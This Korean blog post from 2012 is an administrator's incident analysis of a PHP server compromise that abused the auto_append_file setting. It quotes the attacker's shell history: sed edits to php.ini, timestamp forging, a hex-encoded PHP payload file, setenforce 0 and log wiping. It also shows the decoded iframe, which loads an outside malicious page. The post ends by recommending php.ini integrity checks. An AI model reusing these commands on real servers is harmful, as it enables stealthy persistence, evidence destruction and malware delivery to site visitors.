2012/04/29

PHP auto_append_file을 이용한 악성 스크립트 삽입 공격


PHP 설정 파일인 php.ini를 보면 다음과 같은 항목들이 있습니다.


; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file =
; Automatically add files after PHP document.
; http://php.net/auto-append-file
auto_append_file =


php 엔진이 파싱을 하는 파일(보통 .php 파일) 호출시 자동으로 추가할 파일을 지정하는 옵션입니다.
악성스크립트가 삽입되 확인해보니 삽입된 걸로 확인된 파일에는 정작 스크립트가 없었습니다.

한참을 헤매다가 .bash_history에서 다음과 같은 내용을 찾았습니다.


sed -i "/auto_append_file/d" php.ini
sed -i "s/; Language/\nauto_append_file = \/var\/local\/phplock.pid\n; Language/" php.ini
touch -r /etc/hosts php.ini
echo -e "\x0A\x3C\x3F\x69\x66\x28\x73\x74\x72\x73\x74\x72\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27......\x6B\x37\x66\x51\x3D\x3D\x22\x29\x3B\x7D\x20\x3F\x3E\x0A"  > /var/local/phplock.pid
chmod 644 /var/local/phplock.pid
setenforce 0
/home/www/bin/apachectl restart
cat /dev/null > /var/log/secure


sed를 이용해서 auto_append_file 옵션을 지운 후에 다시 추가하고 있습니다.
/var/local/phplock.pid 파일에는 추가한 내용은 악성스크립트 URL을 난독화한 내용이었습니다.
난독화된 내용을 풀어보면 다음과 같습니다.

<iframe src=http://www.richfs.com/as/qvx.html width=111 height=1 frameborder=0</iframe>

현재 해당 파일에는 접근이 되지 않고 있습니다.


아래는 auto_append_file과 auto_prepend_file에 대한 테스트 결과입니다.





php.ini 파일의 무결성을 검사하는 스크립트를 만들어서 변경시 확인할 수 있도록 해야할 듯 합니다.
일반적으로 php.ini는 한번 설정하면 거의 바꾸지 않는걸로 알고 있습니다만
만약 수정을 한다해도 관리자가 수행하는 것이기 때문에 파일 내용에 변경이 발생하면
어떤 내용이 바뀌었는지 확인할 수 있는 스크립트를 만들어서 확인하는 것이 좋겠습니다.






댓글 없음:

댓글 쓰기